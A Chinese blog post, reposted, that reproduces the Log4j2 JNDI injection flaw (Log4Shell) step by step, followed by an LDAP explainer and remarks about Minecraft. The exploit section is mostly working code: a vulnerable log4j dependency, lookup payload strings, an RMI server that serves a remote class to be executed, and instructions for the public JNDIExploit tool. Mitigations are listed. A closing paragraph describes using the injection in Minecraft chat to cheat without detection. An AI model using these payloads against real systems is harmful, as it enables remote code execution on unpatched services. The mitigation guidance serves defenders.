log4j2 漏洞解析 轉載自: https://www.cnblogs.com/puzhiwei/p/15677816.html
前情提要
Apache 存在 Log4j 遠程代碼執行漏洞,將給相關企業帶來哪些影響?還有哪些信息值得關注?
構建maven項目引入Log4j2
編寫 pom 文件
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>Log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.13.3</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.13.3</version> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
編寫測試代碼
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class); public static void main(String[] args) { // 避免因爲Java版本過高而無法觸發此漏洞 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); // 此處ip需要使用本機局域網ip或網絡ip,不能使用127.0.0.1 logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}"); } }
下載 JNDI 測試服務器
到 https://github.com/feihong-cs/JNDIExploit
或者
https://github.com/welk1n/JNDI-Injection-Exploit
下載 JNDIExploit 測試服務器
本次使用 JNDIExploit 舉例
下載完成後使用
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip
啓動服務器
然後運行之前的Log4j2項目即可出現如圖所示效果
加載運行自己的 class 類
編寫 RMI服務器
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * @author Pu Zhiwei * create 2021-12-11 22:06 */ public class RMIServer { public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("Create RMI registry on port 1099!"); // 前兩個參數爲類名,第三個參數爲遠程類地址 Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("evil", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
編寫測試類
public class Test { static { System.out.println("你好 Log4j2"); } }
然後啓動一個 http 服務器,將編譯好的測試類放入 http 服務器的根目錄,你可以直接使用python的http服務器
python -m http.server 8080
修改 Log4j2 項目內容爲
logger.error("${jndi:rmi://192.168.0.105:1099/evil}");
運行項目即可看到 Test 類已被執行
之後你就可以通過修改 Test 類實現更多操作。
如何防範
升級 Log4j2 到最新版本
使用最新版 JDK
臨時解決方案:
-
設置 jvm 參數 “-Dlog4j2.formatMsgNoLookups=true”
-
在項目 classpath 目錄下添加 log4j2.component.properties 配置文件,設置 log4j2.formatMsgNoLookups=true
-
設置系統環境變量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 設置爲 “true”
END
LDAP解釋,轉載自: https://zhuanlan.zhihu.com/p/260518807
LDAP 是輕量目錄訪問協議,英文全稱是LIGHTWEIGHT DIRECTORY ACCESS PROTOCOL,一般都簡稱爲 LDAP。
讀寫效率非常高
對讀操作進行優化的一種數據庫,在讀寫比例大於7比1的情況下,LDAP會體現出極高的性能。這個特性正適合了身份認證的需要。
開放的標準協議
不同於SQL數據庫,LDAP的客戶端是跨平臺的,並且對幾乎所有的程序語言都有標準的API接口。
即使是改變了LDAP數據庫產品的提供廠商,開發人員也不用擔心需要修改程序才能適應新的數據庫產品。這個優勢是使用SQL語言進行查詢的關係型數據庫難以達到的。
強認證方式
可以達到很高的安全級別。
在國際化方面,LDAP使用了UTF-8編碼來存儲各種語言的字符。
OpenLDAP開源實現
OpenLDAP還包含了很多有創造性的新功能,能滿足大多數使用者的要求。
OpenLDAP是其中最輕便且消耗系統資源最少的一個。
OpenLDAP是開源軟件,近年國內很多公司開發的LDAP產品都是基於OpenLDAP開發的。
靈活添加數據類型
LDAP是根據schema的內容定義各種屬性之間的從屬關係及匹配模式的。
例如在關係型數據庫中如果要爲用戶增加一個屬性,就要在用戶表中增加一個字段,在擁有龐大數量用戶的情況下是十分困難的,需要改變表結構。
但LDAP只需要在schema中加入新的屬性,不會由於用戶的屬性增多而影響查詢性能。
數據存儲是樹結構
整棵樹的任何一個分支都可以單獨放在一個服務器中進行分佈式管理,不僅有利於做服務器的負載均衡,還方便了跨地域的服務器部署。
這個優勢在查詢負載大或企業在不同地域都設有分公司的時候體現尤爲明顯。
LDAP 的特點
- LDAP 是一種網絡協議而不是數據庫,而且LDAP的目錄不是關係型的,沒有RDBMS那麼複雜,
- LDAP不支持數據庫的Transaction機制,純粹的無狀態、請求-響應的工作模式。
- LDAP不能存儲BLOB,LDAP的讀寫操作是非對稱的,讀非常方便,寫比較麻煩,
- LDAP支持複雜的查詢過濾器(filter),可以完成很多類似數據庫的查詢功能。
- LDAP使用樹狀結構,接近於公司組織結構、文件目錄結構、域名結構等我們耳熟能詳的東西。 LDAP使用簡單、接口標準,並支持SSL訪問。
LDAP與NIS相比
1.LDAP是標準的、跨平臺的,在Windows下也能支持。
2.LDAP支持非匿名的訪問,而且有比較複雜的訪問控制機制(如ACL),安全性似乎更好一些。
3.LDAP支持很多複雜的查詢方式。
4.LDAP的用途較NIS更爲廣泛,各種服務都可以和LDAP掛鉤。
LDAP 的主要應用場景
.網絡服務:DNS服務
2.統一認證服務:
3.Linux PAM (ssh, login, cvs. . . )
4.Apache訪問控制
5.各種服務登錄(ftpd, php based, perl based, python based. . . )
6.個人信息類,如地址簿
7.服務器信息,如帳號管理、郵件服務等
作爲一般的公司來說,LDAP 很多時候被用來權限認證,軟件和內部系統的用戶管理和認證。
設想下,你有一個軟件公司,公司裏面有超過上千的員工,你們公司可能會用到各種軟件,比如說 JIRA,Wiki,代碼庫,考勤系統等等。
LDAP 就充當了授權的這個角色,你可用在 LDAP 中對用戶進行授權,分組,這樣你的用戶就會具有不通過軟件平臺的訪問權限了。
現在公司的流動性也非常強,每天都會有入職的也會有離職的,對每一個人都要進行授權,撤銷權限,跨域管理等等與用戶有關的操作,在大一點的公司這個簡直就是災難。
LDAP 能夠很好的解決這個問題。
Spring Data 提供了基於 LDAP 協議訪問的 API,需要注意的是,在開發的時候需要將 LDAP 認爲是一個數據庫,只是與普通數據庫不同的是,LDAP 使用的是 LDAP 的協議。
否則,在用戶分組查詢,等基於 Spring Data LDAP 的編程過程中,你可能會感到非常困惑。
其他說明,使用高版本java可以避免該問題,未驗證
由於minecraft java版也使用了log4j,這個漏洞甚至可以用來在生存模式下作弊
實測在低版本java(java8u191之前的版本)下可以在minecraft聊天內使用jndi注入,因爲minecraft會把聊天輸入內容打在log裏,用的就是log4j,因爲命令方塊也可以實現此注入,在有外部程序配合的情況下,可以實現完全看不出任何破綻的作弊
官方啓動器+官方jre玩家不用進行任何操作,雖然正版的log4j版本是存在漏洞的版本,但是因爲目前官方啓動器用的jre是基於openjdk16的,openjdk16不能使用jndi注入
但是還在使用低版本java開服的服主,建議儘快升級log4j和java版本